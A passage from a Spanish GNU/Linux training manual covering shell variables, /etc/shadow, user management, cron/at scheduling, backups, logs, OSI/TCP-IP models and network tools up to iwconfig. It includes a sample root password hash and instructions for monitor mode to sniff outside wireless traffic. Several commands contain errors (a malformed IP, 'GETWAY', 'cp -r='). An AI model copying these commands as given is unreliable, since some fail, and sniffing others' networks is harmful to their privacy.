En una sesión de trabajo las variables de entorno en la shell son referencias a


valores.
Existen dos tipos: locales y globales.
Las locales Se definen en la Shell actual y solamente son conocidas por esta en la
sesión que esté vigente.
Las globales, en cambio, son exportadas desde un proceso activo a todos los procesos
hijos.

zxguitar@zxlaptop:~$ echo $PATH


/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

La orden anterior podría estar mostrando un path típico del sistema. Mira con atención
el uso del carácter $; el cual Indica el principio del nombre de una variable shell, ya
que, sin él, la orden echo de volvería únicamente la cadena de texto pasada a
continuación. De manera que siempre que queramos ver el contenido de una variable
debemos usar el signo $.

Hay también otras variables de usuario que es importante tener en cuenta como la
variable $HOME, $HOSTNAME, $SHELL, $UID, $USER, entre otras.

Cada una de estas variables tienen un valor que varia de usuario en usuario, por
ejemplo:

Si ejecuto:
zxguitar@zxlaptop:~$ echo $USER
zxguitar

Podemos ver que la salida es “zxguitar” que es el usuario de mi maquina, pero si lo


hace usted, saldrá el usuario con el que ejecuto el comando.

Definir Variables:
zxguitar@zxlaptop:~$ a=gato
La variable tiene un nombre: a, y un valor: gato. Fíjate en que no debe dejar espacios
entre el nombre, el igual y el valor. Tras haberla definido podremos usar el valor de

Diplomado de GNU/Linux
117
Fundación Código Libre Dominicano
http://www.codigolibre.org

esta variable refiriéndonos a ella por su nombre.


Entonces: ¿dónde se podrán utilizar variables de este modo? Pues bien, las podremos
utilizar en la ejecución de órdenes desde el indicativo del sistema (prompt), por
ejemplo, o en el uso de scripts de la shell. Pero, hay que tener también muy presente
que, las variables de usuario creadas de este modo solamente funcionan en la shell (o
subshell) en que se hayan definido.
Si comprobamos el valor de la variable a=gato que definimos más arriba veremos que está
correcto, pero si después lanzamos otro shell y volvemos a hacer la comprobación
podremos advertir que aquí ya no aparece. La variable a solo es visible desde la shell
donde se haya definido Ya que es una variable local.
Si queremos o necesitamos conocer las variables disponibles podremos ver una lista de
las mismas utilizando la orden env, con la que podremos ver una lista de variables
iniciales del entorno o globales y con la orden set veremos una lista de variables
locales.
A fin de cuentas, en cada una de las shell que se vayan abriendo tendremos acceso
solamente a las variables locales que tengan definidas. Es muy importante tener en
cuenta esto de cara a la ejecución de aquellos scripts que, por cualquier razón,
requieran del uso de una variable determinada.

Exportar el Entorno
Si se diera el caso de necesitar, por cualquier motivo, que una variable sea accesible
por programas ejecutados en otras shells, sería imprescindible exportarla.
La solución a este pequeño problema es lo que se conoce como exportar variables. La
orden export es capaz de hacer dos cosas:

1. Sin argumentos muestra una lista con las variables exportadas.


2. Convierte las variables (locales) en globales, para que sus valores sean accesibles
por cada una de las shell que se genere.

zxguitar@zxlaptop:~$ echo $a gato


zxguitar@zxlaptop:~$ export a
zxguitar@zxlaptop:~$ echo $a gato

Ahora el valor de la variable “a” podrá ser leído desde otra shell cualquiera o
subshell y también por programas que sean ejecutados en ellas.

La exportación del entorno de variables es muy seguro que lo usaran bastante, mucho más
de lo que han pensando, pero como se acaba de ver, no es cosa del otro mundo. Para
aquellos que hayan programado en alguna ocasión, el mundo de las variables no les dirá
nada nuevo, para los que no, es cuestión de practica, a fin de cuentas las variables
son algo bastante intuitivo.

2.13 /etc/shadow
Archivo de mucha importancia ya que tiene una relación muy estrecha con /etc/passwd.
En este archivo se encuentran LITERALMENTE nuestras claves encriptadas de cada usuario.

Descripción de los campos en /etc/shadow


Son 8 campos
1 – usuario
2 - clave (encriptada)
3 - ultimo cambio de la clave

Diplomado de GNU/Linux
118
Fundación Código Libre Dominicano
http://www.codigolibre.org

4 - Mínimo de tiempo para cambiar la clave


5 - Máximo numero de días para cambiar su clave, después que se le pida que la cambie
6 - Numero de días antes que la clave expire, el usuario es advertido de que debe
cambiar su clave
7 - Numero de días inactivo, después que se vence la clave
8 - Fecha de expiración de la cuenta

Nota:
En la sección de la clave puede que aparezcan ciertos caracteres, explicamos
"!" Significa que no tiene clave
"*" Significa que su cuenta esta bloqueada
"!!" Significa que el password expiró

Ej:
root:t$6$FM0fgYmRTAZ5ESCB$nxd/3oL63qsQgPsg8JXm772.nEpzhyDfF5HSutHLz3fbAEzhO.ZMO279qsNXu
Q6hlM4m/8hkruCphHyQtaJ7S/:14049:0:99999:7:::

2.14 Expiración de cuentas


Crea un usuario llamado user1, que expire en 14 de feb. del 2012 que su home sea /opt
con un comentario que diga usuario de prueba.
[root@deivy ~]# useradd -e 2011-02-14 -d /opt -c "usuario de prueba" user1

Comprueba la fecha de expiración del usuario.


[root@deivy ~]# chage -l user1

2.15 Asignación de usuarios a otros grupos


Para un usuario a otro grupo basta con agregarlo al grupo solicitado en el archivo
/etc/group, solo usuario se separan por coma (,).

Ejm.

ftp:x:50:
lock:x:54:
audio:x:63:
nobody:x:99:

Si queremos agregar el usuario user1 al grupo audio solo modificamos la linea


correspondiente a esta grupo.
[root@deivy ~]# vim /etc/group
ftp:x:50:
lock:x:54:
audio:x:63:user1
nobody:x:99:

2.16 Practica Administración Capitulo 2

Diplomado de GNU/Linux
119
Fundación Código Libre Dominicano
http://www.codigolibre.org

3.0 Programando tareas y Backup


Evidentemente garantizar la integridad de la información de un sistema es un tema que
es de responsabilidad del administrador del sistema.

Un buen sistema de respaldo es la mejor forma de evitar perdidas de información. Un


programa de backup más que versátil ha de ser cómodo. Ya lo comentamos antes. El backup
es una tarea rutinaria y muy importante.

La mayoría del tiempo estas tareas, entre otras, de rutinas para el administrador sera
necesaria automatizarla y de este modo, optimizar nuestra labor. Para esto contamos con
los comandos 'at', 'batch' y 'cron'. A 'batch', y a 'at' hay que pasarles el comando
por la entrada estándar, y a 'cron' la salida del comando será dirigida a la cuenta de
correo del usuario. Por eso conviene redirigir las salidas convenientemente.

3.1 cron y sus archivos


Es un demonio que ejecuta comandos programados, su demonio es /etc/init.d/cron.
En /etc existen 4 archivos en los que podemos declarar los comandos o scripts que
deseamos ejecutar.

estos archivos son:

cron.hourly se ejecuta cada hora


cron.daily se ejecuta cada 24 horas
cron.weekly se ejecuta semanalmente
cron.monthly se ejecuta cada mes

3.2 crontab, at y batch


CRONTAB
Es el comando que utilizamos para modificar el archivo crontab de el usuario.
Para modificar el crontab de un usuario ejecutamos:
spark-d:~# crontab -u usuario -e

Esto abrirá el archivo crontab de usuario con nuestro editor por defecto (variable
EDITOR), en este archivo existen 6 campos a los cuales le asignamos los siguientes
valores:

Campo Valor
1-)minuto 0-59
2-)hora 0-23
3-)día del mes (ej.: día 19) 1-31
4-)mes 1-12
5-)día de la semana (ej.: sábado) 0-7 (0 y 7 son domingo)
6-)comando
Ej:
Copiar los archivos .conf dentro de /etc a /backup/etc cada sábado, domingo o lunes a
la 1 AM siempre que sea 30 o 15 de cada mes:
* 1 15,30 * 6,7,1 find /etc/ -name "*.conf" | xargs cp -r --target-
directory=/backup/etc

Diplomado de GNU/Linux
120
Fundación Código Libre Dominicano
http://www.codigolibre.org

Crear un archivo comprimido de los logs a las 10:24 PM (22:24) todos los martes durante
el mes de diciembre:
24 22 * 12 2 tar -cjf /backup/logs.tar.bz2 /var/logs

Reiniciar el servidor los sábados a las 8:30 PM (20:30):


30 20 * * 6 reboot

Lista las tareas programada del usuario actual.


[root@deivy ~]# crontab -l

Lista las tareas programada del usuario especificado como root.


[root@deivy ~]# crontab -u deivy -l

Ejecuta la orden who todos los lunes a las 10:30 y guarda la salida en el archivo
quien.txt si no esta creado el lo crea.
[root@deivy ~]# crontab -e <edita una tarea>
30 10 * * 1 /usr/bin/who >> /home/user/quien.txt

Ejecute cada 15 minutos un ls -l y guarda la salida en el archivo ls.txt


[root@deivy ~]# crontab -e
0,15,30,45 * * * * /bin/ls -l >> /home/user/ls.txt

Enviá la salida del comando date cada 5 minutos a un archivo llamado hora.txt
[root@deivy ~]# crontab -e
*/5 * * * * /bin/date >> /home/user/hora.txt

Lista las tareas programada para ver si toda las tareas programada fueron almacenada.
[root@deivy ~]# crontab -l

Luego de haber pasado los ultimo 5 minutos, comprueba que se haya creado el archivo con
el contenido de la salida de date en el home de el usuario con el que lo creaste.
[root@deivy ~]# ls -l

Si encontraste el archivo, despliega su contenido.


[root@deivy ~]# cat hora.txt

Luego de haber visto el resultado del ultimo cron elimina todas la tarea programada
anteriormente.
[root@deivy ~]# crontab -r <elimina las tarea programada por el usuario>

Verifica que no tenga mas tareas en tu usuario.


[root@deivy ~]# crontab -l

3.3 at
Ejecuta comandos en un tiempo especifico, se ejecuta el comando at mas el tiempo, luego
se abre el shell de at, escribimos el comando, el tiempo puede ser especificado en
forma de hora (HH:MM) , fecha (MM/DD/YY) y varias mas (vea el man).

En /etc at tiene dos archivos (at.deny at.allow) para controlar cuales usuarios pueden
usar at y cuales no.

Diplomado de GNU/Linux
121
Fundación Código Libre Dominicano
http://www.codigolibre.org

Opciones más usadas:


-l lista los trabajos pendientes para el usuario, en caso de que sea el súper
usuario serán listados todos los trabajos de todos los usuarios.
-d elimina trabajos pendientes, identificados por números
-m envía un correo al usuario incluso cuando no tenga salida el comando

Ej:
Copiar los archivos .conf dentro de /etc a /backup/etc cada sábado, a la 1 AM el día 30
de agosto:
spark-d:~# at 01:00 08/30/08
at> find /etc/ -name "*.conf" | xargs cp -r --target-directory=/backup/etc

Crear un archivo comprimido de los logs a media noche de mañana:


spark-d:~# at midnight tomorrow
at> tar -cjf /backup/logs.tar.bz2 /var/logs

Ver las tareas pendientes:


spark-d:~# at -l
8 Sat Aug 30 01:00:00 2008 a root
10 Thu Jul 17 00:00:00 2008 a root

3.4 batch
Ejecuta comandos cuando la carga del sistema sea menor a 0.8 y abre el mismo shell de
at.

Ej:
Copiar los archivos .conf dentro de /etc a /backup/etc:
spark-d:~# batch
at> find /etc/ -name "*.conf" | xargs cp -r= --target-directory=/backup/etc

Crear un archivo comprimido de los logs:


spark-d:~# batch
at> tar -cjf /backup/logs.tar.bz2 /var/logs

Ver las tareas pendientes:


spark-d:~# at -l
8 Sat Aug 30 01:00:00 2008 a root
10 Thu Jul 17 00:00:00 2008 a root

3.5 Cuando hacer las Copias de Seguridad/Respaldo(Backups):


En las horas en que el/los servidores tengan menos flujo de data y sean menos accedidos
por los Usuarios (ej.: madrugadas, fines de semana, etc.) y también tenerlos lo mas
actualizado posible.

3.6 Donde almacenar los Backups


Lugares protegidos contra fuego, humedad y desastres naturales, preferiblemente en otra
edificación que no sea donde se encuentran los servidores.

Diplomado de GNU/Linux
122
Fundación Código Libre Dominicano
http://www.codigolibre.org

3.7 tar, cpio, afio


tar
Empaqueta y comprime archivos y, directorios

Opciones más usadas:


-c crear
-f archivo o ruta del archivo
-j compresión bzip2
-z compresión gzip2
-v modo detallado
-t listar archivos empaquetados

Ej:
Empaquetar y comprimir en formato bzip2 el directorio /etc:
spark-d:~# tar -cjvf etc.tar.bz2 /etc

Desempaquetar el archivo backup.tar.gz:


spark-d:~# tar -xzvf backup.tar.gz

Listar los archivos dentro de etc.tar.bz2


spark-d:~# tar -tjf etc.tar.bz2

3.8 cpio
Copia archivos desde y hacia archivos
Opciones más usadas:
-i extrae
-o crea
-d crea directorios donde sean necesarios
-m retiene el tiempo de modificación mientras crea los archivos
-v modo detallado

Ej:
Crear un archivo del directorio en que estamos:
spark-d:~# ls | cpio -ov > wd.cpio

Extraer un archivo en el directorio en que estamos:


spark-d:~# cpio -idv < wd.cpio

Extraer un archivo en el directorio en que estamos manteniendo el tiempo de


modificación original:
spark-d:~# cpio -imdv < wd.cpio

3.9 El Directorio /var/log


Es el directorio donde se crean todos los logs del sistema y donde se van almacenando
las copias de respaldo de los logs.

Ej:
Logs de servicios de correo:
/var/log/maillog

Diplomado de GNU/Linux
123
Fundación Código Libre Dominicano
http://www.codigolibre.org

Logs de servicios en general:


/var/log/messages

Logs de cron
/var/log/cron

3.10 dmesg, last y lastlog


dmesg
Imprime el buffer del kernel
Opciones:
-c limpia el buffer
-s### modifica el tamaño de el buffer al consultar
-n# determina el nivel de información en el buffer

last
Muestra una lista de las últimas sesiones iniciadas por usuarios y que terminales
usaron, last lee la información de /var/log/wtmp

Opciones más usadas:


-f le dice a last que lea la información de un archivo especificado y no de
/var/log/wtmp
-n muestra la cantidad de líneas especificadas
-i muestra las sesiones iniciadas remotamente con su respectiva ip
-d muestra lo mismo que la opción -i pero con resolución de nombres
-x muestra los cambios de runlevel

Ej:
Ver otro archivo
spark-d:~# last -f /var/log/wtmp.1

Ver las iniciadas remotamente mostrando el ip


spark-d:~# last -i

Ver los cambios de runlevel


spark-d:~# last -x

lastlog
Reporta las sesiones iniciadas mas recientes de todos los usuarios de un usuario en
específico.

Opciones:
-b imprime los días anteriores a los especificados
-h ayuda
-t imprime los días mas recientes hasta los especificados
-u especifica el usuario

Ejemplos:
Ver el reporte de las últimas sesiones iniciadas:
spark-d:~# lastlog

Ver el reporte de la última sesión iniciad por "usuario":

Diplomado de GNU/Linux
124
Fundación Código Libre Dominicano
http://www.codigolibre.org

spark-d:~# lastlog -u usuario

Ver el reporte de las últimas sesiones iniciadas antes de diez días atrás:
spark-d:~# lastlog -b 10

3.11 /etc/syslog.conf:
Es el archivo de configuración del demonio syslogd, el cual almacena todos los mensajes
del sistema desde que arrancamos el sistema, recibe mensajes del kernel y de varias
aplicaciones.

3.12 /etc/logrotate.conf:
Es el archivo de configuración de logrotate, en el cual se determina cuando se creara
un nuevo log y cuando se hará una copia de respaldo comprimida para los logs ya
existentes.

Diplomado de GNU/Linux
125
Fundación Código Libre Dominicano
http://www.codigolibre.org

GNU/Networking
0.0 Introducción a Networking
0.1 Ifconfig
0.2 Ip
0.3 Route
0.4 Tcpdump
0.5 Arp
0.6 Nmap
0.7 Interfaces de red
0.8 Configurando interfaces
0.9 Mascara
0.10 Gateway
0.11 Netstat
0.12 Nc
0.13 Ping
0.14 Dig
0.15 Nslookup

Diplomado de GNU/Linux
126
Fundación Código Libre Dominicano
http://www.codigolibre.org

0.0 Introducción a Networking

Modelo OSI
Capa 7: La capa de aplicación
Capa 6: La capa de presentación
Capa 5: La capa de sesión
Capa 4: La capa de transporte
Capa 3: La capa de red
Capa 2: La capa de enlace de datos
Capa 1: La capa física

Funciones de cada capa


Cada capa individual del modelo OSI tiene un conjunto de funciones que debe realizar
para que los paquetes de datos puedan viajar en la red desde el origen hasta el
destino. A continuación, presentamos una breve descripción de cada capa del modelo de
referencia OSI tal como aparece en la figura.

Capa 7: La capa de aplicación La capa de aplicación es la capa del modelo OSI más
cercana al usuario; suministra servicios de red a las aplicaciones del usuario. Difiere
de las demás capas debido a que no proporciona servicios a ninguna otra capa OSI, sino
solamente a aplicaciones que se encuentran fuera del modelo OSI. Algunos ejemplos de
aplicaciones son los programas de hojas de cálculo, de procesamiento de texto y los de
las terminales bancarias. La capa de aplicación establece la disponibilidad de los
potenciales socios de comunicación, sincroniza y establece acuerdos sobre los
procedimientos de recuperación de errores y control de la integridad de los datos. Si
desea recordar a la Capa 7 en la menor cantidad de palabras posible, piense en los
navegadores de Web.

Capa 6: La capa de presentación La capa de presentación garantiza que la información


que envía la capa de aplicación de un sistema pueda ser leída por la capa de aplicación
de otro. De ser necesario, la capa de presentación traduce entre varios formatos de
datos utilizando un formato común. Si desea recordar la Capa 6 en la menor cantidad de
palabras posible, piense en un formato de datos común.

Capa 5: La capa de sesión Como su nombre lo implica, la capa de sesión establece,


administra y finaliza las sesiones entre dos hosts que se están comunicando. La capa de
sesión proporciona sus servicios a la capa de presentación. También sincroniza el
diálogo entre las capas de presentación de los dos hosts y administra su intercambio de
datos. Además de regular la sesión, la capa de sesión ofrece disposiciones para una
eficiente transferencia de datos, clase de servicio y un registro de excepciones acerca
de los problemas de la capa de sesión, presentación y aplicación. Si desea recordar la
Capa 5 en la menor cantidad de palabras posible, piense en diálogos y conversaciones.

Capa 4: La capa de transporte La capa de transporte segmenta los datos originados en


el host emisor y los reensambla en una corriente de datos dentro del sistema del host
receptor. El límite entre la capa de transporte y la capa de sesión puede imaginarse
como el límite entre los protocolos de aplicación y los protocolos de flujo de datos.
Mientras que las capas de aplicación, presentación y sesión están relacionadas con
asuntos de aplicaciones, las cuatro capas inferiores se encargan del transporte de

Diplomado de GNU/Linux
127
Fundación Código Libre Dominicano
http://www.codigolibre.org

datos. La capa de transporte intenta suministrar un servicio de transporte de datos que


aisla las capas superiores de los detalles de implementación del transporte.
Específicamente, temas como la confiabilidad del transporte entre dos hosts es
responsabilidad de la capa de transporte. Al proporcionar un servicio de
comunicaciones, la capa de transporte establece, mantiene y termina adecuadamente los
circuitos virtuales. Al proporcionar un servicio confiable, se utilizan dispositivos de
detección y recuperación de errores de transporte. Si desea recordar a la Capa 4 en la
menor cantidad de palabras posible, piense en calidad de servicio y confiabilidad.

Capa 3: La capa de red La capa de red es una capa compleja que proporciona
conectividad y selección de ruta entre dos sistemas de hosts que pueden estar ubicados
en redes geográficamente distintas. Si desea recordar la Capa 3 en la menor cantidad de
palabras posible, piense en selección de ruta, direccionamiento y enrutamiento.

Capa 2: La capa de enlace de datos La capa de enlace de datos proporciona tránsito de


datos confiable a través de un enlace físico. Al hacerlo, la capa de enlace de datos se
ocupa del direccionamiento físico (comparado con el lógico) , la topología de red, el
acceso a la red, la notificación de errores, entrega ordenada de tramas y control de
flujo. Si desea recordar la Capa 2 en la menor cantidad de palabras posible, piense en
tramas y control de acceso al medio.

Capa 1: La capa física La capa física define las especificaciones eléctricas,


mecánicas, de procedimiento y funcionales para activar, mantener y desactivar el enlace
físico entre sistemas finales. Las características tales como niveles de voltaje,
temporización de cambios de voltaje, velocidad de datos físicos, distancias de
transmisión máximas, conectores físicos y otros atributos similares son definidos por
las especificaciones de la capa física. Si desea recordar la Capa 1 en la menor
cantidad de palabras posible, piense en señales y medios.

El modelo de referencia TCP/IP


A medida que obtenga más información acerca de las capas, tenga en cuenta el propósito
original de Internet; esto le ayudará a entender por qué motivo ciertas cosas son como
son. El modelo TCP/IP tiene cuatro capas: la capa de aplicación, la capa de transporte,
la capa de Internet y la capa de acceso de red. Es importante observar que algunas de
las capas del modelo TCP/IP poseen el mismo nombre que las capas del modelo OSI. No
confunda las capas de los dos modelos, porque la capa de aplicación tiene diferentes
funciones en cada modelo.

Capa de aplicación: Los diseñadores de TCP/IP sintieron que los protocolos de nivel
superior deberían incluir los detalles de las capas de sesión y presentación.
Simplemente crearon una capa de aplicación que maneja protocolos de alto nivel,
aspectos de representación, codificación y control de diálogo. El modelo TCP/IP combina
todos los aspectos relacionados con las aplicaciones en una sola capa y garantiza que
estos datos estén correctamente empaquetados para la siguiente capa.

Capa de transporte: La capa de transporte se refiere a los aspectos de calidad del


servicio con respecto a la confiabilidad, el control de flujo y la corrección de
errores. Uno de sus protocolos, el protocolo para el control de la transmisión (TCP),
ofrece maneras flexibles y de alta calidad para crear comunicaciones de red confiables,
sin problemas de flujo y con un nivel de error bajo. TCP es un protocolo orientado a la
conexión. Mantiene un diálogo entre el origen y el destino mientras empaqueta la

Diplomado de GNU/Linux
128
Fundación Código Libre Dominicano
http://www.codigolibre.org

información de la capa de aplicación en unidades denominadas segmentos. Orientado a la


conexión no significa que el circuito exista entre los computadores que se están
comunicando (esto sería una conmutación de circuito). Significa que los segmentos de
Capa 4 viajan de un lado a otro entre dos hosts para comprobar que la conexión exista
lógicamente para un determinado período. Esto se conoce como conmutación de paquetes.

Capa de Internet El propósito de la capa de Internet es enviar paquetes origen desde


cualquier red en la internetwork y que estos paquetes lleguen a su destino
independientemente de la ruta y de las redes que recorrieron para llegar hasta allí. El
protocolo específico que rige esta capa se denomina Protocolo Internet (IP). En esta
capa se produce la determinación de la mejor ruta y la conmutación de paquetes. Esto se
puede comparar con el sistema postal. Cuando envía una carta por correo, usted no sabe
cómo llega a destino (existen varias rutas posibles); lo que le interesa es que la
carta llegue.

Capa de acceso de Red: El nombre de esta capa es muy amplio y se presta a confusión.
También se denomina capa de host a red. Es la capa que se ocupa de todos los aspectos
que requiere un paquete IP para realizar realmente un enlace físico y luego realizar
otro enlace físico. Esta capa incluye los detalles de tecnología LAN y WAN y todos los
detalles de las capas física y de enlace de datos
del modelo OSI.

Comparación entre el modelo OSI y el modelo TCP/IP

Similitudes
• Ambos se dividen en capas
• Ambos tienen capas de aplicación, aunque incluyen servicios muy distintos
• Ambos tienen capas de transporte y de red similares
• Se supone que la tecnología es de conmutación por paquetes (no de conmutación por
circuito)
• Los profesionales de networking deben conocer ambos

Diferencias
1. TCP/IP combina las funciones de la capa de presentación y de sesión en la capa de
aplicación
2. TCP/IP combina la capas de enlace de datos y la capa física del modelo OSI en una
sola capa
3. TCP/IP parece ser más simple porque tiene menos capas
4. Los protocolos TCP/IP son los estándares en torno a los cuales se desarrolló la
Internet, de modo que la credibilidad del modelo
TCP/IP se debe en gran parte a sus protocolos. En comparación, las redes típicas no se
desarrollan normalmente a partir del protocolo OSI, aunque el modelo OSI se usa como
guía.

0.1 ifconfig
Es un programa disponible en varias versiones del sistema operativo UNIX, que permite
configurar o desplegar numerosos parámetros de las interfaces de redes, como la
dirección IP (dinámica o estática), o la máscara de red. Si se llama sin argumentos
suele mostrar la configuración vigente de las interfaces de red activas, con detalles

Diplomado de GNU/Linux
129
Fundación Código Libre Dominicano
http://www.codigolibre.org

como la dirección MAC o el tráfico que ha circulado por las mismas hasta el momento.
El programa ifconfig tiene muchos más parámetros que los descritos hasta ahora.
Generalmente se ejecuta en la forma: ifconfig interfaz [dirección [parámetros]]
Interfaz es el nombre de la interfaz y dirección es la dirección IP que se asigna a
dicha interfaz. La dirección puede estar en forma de cuaterna o usando un nombre que
ifconfig buscará en /etc/hosts.
Si ifconfig es ejecutado añadiendo únicamente el nombre de la interfaz, presentará la
información de la configuración de dicha interfaz. Si se ejecuta sin parámetros,
presenta todas las interfaces configuradas hasta el momento; usando la opción –a fuerza
a ifconfig a incluir la información de las interfaces inactivas. A modo de ejemplo, la
consulta de la configuración de la interfaz Ethernet eth0.

Muestra la información de ip y otros detalles de la interfaz.


[root@blackangel ~]# ifconfig eth0

Este comando asigna un ip al interfaz eth0 con una mascara de 255.255.255.0 y por
ultimo la activa.
[root@blackangel ~]# ifconfig eth0 192.168.10 0.23/24 up

Este comando apaga la interfaz


[root@blackangel ~]# ifconfig eth0 down

Este comando activa la interfaz


[root@blackangel ~]# ifconfig eth0 up

Deshabilita el protocolo arp en la interfaz


[root@blackangel ~]# ifconfig eth0 -arp

Habilita el protocolo arp a la interfaz


[root@blackangel ~]# ifconfig eth0 arp

Habilita la interfaz en modo promiscuo


[root@blackangel ~]# ifconfig eth0 promisc

Deshabilita el modo promiscuo a la interfaz


[root@blackangel ~]# ifconfig eth0 -promisc

Habilita la interfaz un mtu 1420


[root@blackangel ~]# ifconfig eth0 mtu 1420

Si le ponemos una ip fija a nuestra interfaz, cual la maquina reinicie, perdera esta
información, por lo que hay un archivo que podemos modificar para que cada vez que
iniciemos el sistema, esa información sea leída y aplicada.
En RedHat/Centos/Fedora el archivo que tiene esta información es tiene varios campos y
es /etc/sysconfig/network-scripts/ifcfg-eth0
Se ve como sigue:
DEVICE=eth0
BOOTPROTO=static
HWADDR=00:1b:38:1c:c8:f7
NETWORK=192.168.1.0
IPADDR=192.168.1.232

Diplomado de GNU/Linux
130
Fundación Código Libre Dominicano
http://www.codigolibre.org

NETMASK=255.255.255.0
GETWAY=192.168.1.254
BROADCAST=192.168.1.255
ONBOOT=yes
DHCP_HOSTNAME=nexton.fcld.local

Los parámetros anteriores son proporcionados por el administrador de la red local en


donde se localice la máquina que está siendo configurada, o bien definidos de acuerdo a
una planificación previamente establecida. El administrador de la red deberá
proporcionar una dirección IP disponible (IPADDR) y una máscara de la subred (NETMASK).

En debian/Ubuntu, tenemos otro archivo para realizar esta tarea.


/etc/network/interfaces
Se ve como sigue:
iface eth0 inet static
address 192.168.1.5
netmask 255.255.255.0
gateway 192.168.1.254

Esta configuración en DHCP o ip dinámico, se vería como sigue.


auto eth0
iface eth0 inet dhcp

Si deseamos tomar una ip automáticamente, debe haber un dhcp-server en la red donde


estamos, es el servidor encargado de asignar Ips automáticamente. Para realizar una
petición de ip a este servidor lo hacemos como sigue.
root@zxlaptop:~# dhclient eth0

0.2 resolv.conf
No es un comando, pero es un archivo muy importante que se encuentra en
/etc/resolv.conf y el mismo sirve para configurar nuestros servidores DNS.

Es importante saber que para conectarse a internet hacen falta 4 elementos, por lo
general todo sucede automático, pero aquí debemos conocerlo TODO.
1er. Elemento: Una ip para nuestra computadora o laptop. e.j. 10.0.0.5
2do. Elemento: Mascara de Red. e.j. 255.255.255.0
3er. Elemento: Un Gateway o pasarela, es la puerta de salida. e.j. 10.0.0.1
4to. Elemento: servidores DNS e.j. 8.8.8.8 (DNS de google).

El papel de los DNS es traducir las direcciones “www.codigolibre.org” a IP y viceversa.

Esto es necesario porque memorizar todas las ips “del mundo” es prácticamente
imposible, por lo que los servidores DNS son los que tienen esa información, nuestra
computadora le pregunta a los DNS “quien es www.codigolibre.org???” y el DNS responde
“la ip de esa dirección es 66.128.53.27”.

El archivo /etc/resolv.conf se ve como sigue:


nameserver 8.8.8.8
nameserver 8.8.4.4

Diplomado de GNU/Linux
131
Fundación Código Libre Dominicano
http://www.codigolibre.org

Lo que esto significa es que “8.8.8.8” es quien me traduce las palabras


(codigolibre.org) a la ip (66.128.53.27) si que yo me de cuenta.

Como vemos en el ejemplo, hay 2 ips, la otra (8.8.4.4) es un servidor secundario por si
el primero falla.

Que pasaría si no tienes DNS configurado?


Bueno, estarías conectado a internet, pero cuando pongas en firefox o google-chrome la
dirección www.codigolibre.org, el browser te dará un error de que no halla la pagina,
por lo que tendrías que poner, en vez del nombre, la ip que seria http://66.128.53.27/

0.3 iwconfig
iwconfig es similar a ifconfig, pero se dedica a las interfaces inalámbricas. Se
utiliza para establecer los parámetros de la interfaz de red que son específicas para
la operación inalámbrica (por ejemplo:la frecuencia). iwconfig también se puede
utilizar para mostrar los parámetros y las estadísticas inalámbrica (extraídos de
/proc/net/wireless).

Todos estos parámetros y estadísticas dependen del dispositivo. Cada driver proporciona
sólo algunos de ellos en función del soporte de hardware, y el rango de valores pueden
cambiar.

Modo de operación.
La interfaz de wireless puede ser configurada en uno de los siguientes modos que
impacta la manera en como opera el dispositivo o tarjeta.

managed – El nodo es un cliente que se conecta a un punto de acceso (AP – access point
– Router).
master – El nodo actúa como un punto de acceso (AP - Acces point – Router).
secondary – El nodo actúa como secundario a un AP Maestro o Primario.
ad-hoc – Opera en una conexión punto a punto con otro nodo que tenga wireless sin un
AP intermediario.
monitor – No se conecta a ninguna wireless pero escucha todos los paquetes que pasan
por una frecuencia.
repeater – Repite los paquetes entre nodos wireless. Extiende el rango.

Si lo hacemos solo nos dirá las interfaces que tenemos.


root@zxlaptop:~# iwconfig

Nos dará información de como esta configurada la tarjeta inalámbrica (nombre de red,
canal, nivel de señal, velocidad, potencia, encriptación de wep, punto de acceso. Si es
FF:FF:FF:FF:FF:FF es que no esta asociada a ninguno nos dirá la versión que utilizamos
de las wireless extensions y la recomendada para nuestra interfaz inalámbrica.
root@zxlaptop:~# iwconfig wlan0

Nos servirá para configurar nuestra red con el nombre que queramos o a la que queramos
asociarnos.
Nota: essid equivale al nombre de la red.
root@zxlaptop:~# iwconfig wlan0 essid "linksys"

Diplomado de GNU/Linux
132
Fundación Código Libre Dominicano
http://www.codigolibre.org

Para redes WEP, que se caracterizan por tener una seguridad muy pobre, es muy simple.
Solo basta utilizar dos comandos. El comando anterior define el nombre del punto de
acceso a utilizar. Y este para definir la clave de acceso a utilizar, sea de 64 o 128
bit.
root@zxlaptop:~# iwconfig wlan0 key clave-de-acceso

Si se utiliza una clave WEP tipo ASCII, se define de la siguiente manera.


root@zxlaptop:~# iwconfig wlan0 key s:clave-de-acceso

Para obtener una dirección IP, se utiliza el mandato dhclient de la siguiente manera.
root@zxlaptop:~# dhclient wlan0

Si deseamos sniffear (oler o monitorear) el trafico de redes externas, tenemos que


cambiar el modo operacional de la siguiente manera.
root@zxlaptop:~# iwconfig wlan0 mode monitor

El modo “managed” esta activado por defecto, pero si estaba en otro modo, para volver a
ponerlo, lo hacemos como sigue.
root@zxlaptop:~# iwconfig wlan0 mode managed

Para conectarnos a una pc con wireless, pero sin un router de por medio, debemos
cambiar el modo de la tarjeta a “ad-hoc” y lo hacemos de la siguiente manera.
root@zxlaptop:~# iwconfig wlan0 mode ad-hoc

Fijamos el canal elegido para nuestra tarjeta. Podemos también utilizar la frecuencia.
root@zxlaptop:~# iwconfig wlan0 channel 6

Fijamos el valor de frecuencia para nuestra tarjeta. Podemos también utilizar el canal.
root@zxlaptop:~# iwconfig wlan0 freq 2.412G

Tenemos para cada canal, una frecuencia especifica.


canal 1= 2.412G canal 2= 2.417G canal 3= 2.422G
canal 4= 2.427G canal 5= 2.432G canal 6= 2.437G
canal 7= 2.442G canal 8= 2.447G canal 9= 2.452G
canal 10= 2.457G canal 11= 2.462G canal 12= 2.467G
canal 13= 2.472G canal 14= 2.484G

Fijamos la velocidad en las comunicaciones para 802.11b.


Podemos también utilizar 54M. O ponerlo en modo automático.
root@zxlaptop:~# iwconfig wlan0 rate 11M
root@zxlaptop:~# iwconfig wlan0 rate auto

Para que la tarjeta elija la velocidad adecuada, incluso podemos combinar.


root@zxlaptop:~# iwconfig wlan0 rate 54M auto

Para cambiar el valor de la fragmentación, lo hacemos así.


root@zxlaptop:~# iwconfig wlan0 frag 4096

Tiempo actividad la tarjeta cuando no se utiliza alguna conexión a red. Por lo tanto en
modo monitor la captura de datos caería a la hora.
root@zxlaptop:~# iwconfig wlan0 power period 60

Diplomado de GNU/Linux
133
Fundación Código Libre Dominicano
http://www.codigolibre.org

Varias de estas opciones puede realizarse de manera conjunta o en la misma linea.


root@zxlaptop:~# iwconfig wlan0 essid "Wireless_casa" channel 6 rate auto

0.4 iwlist
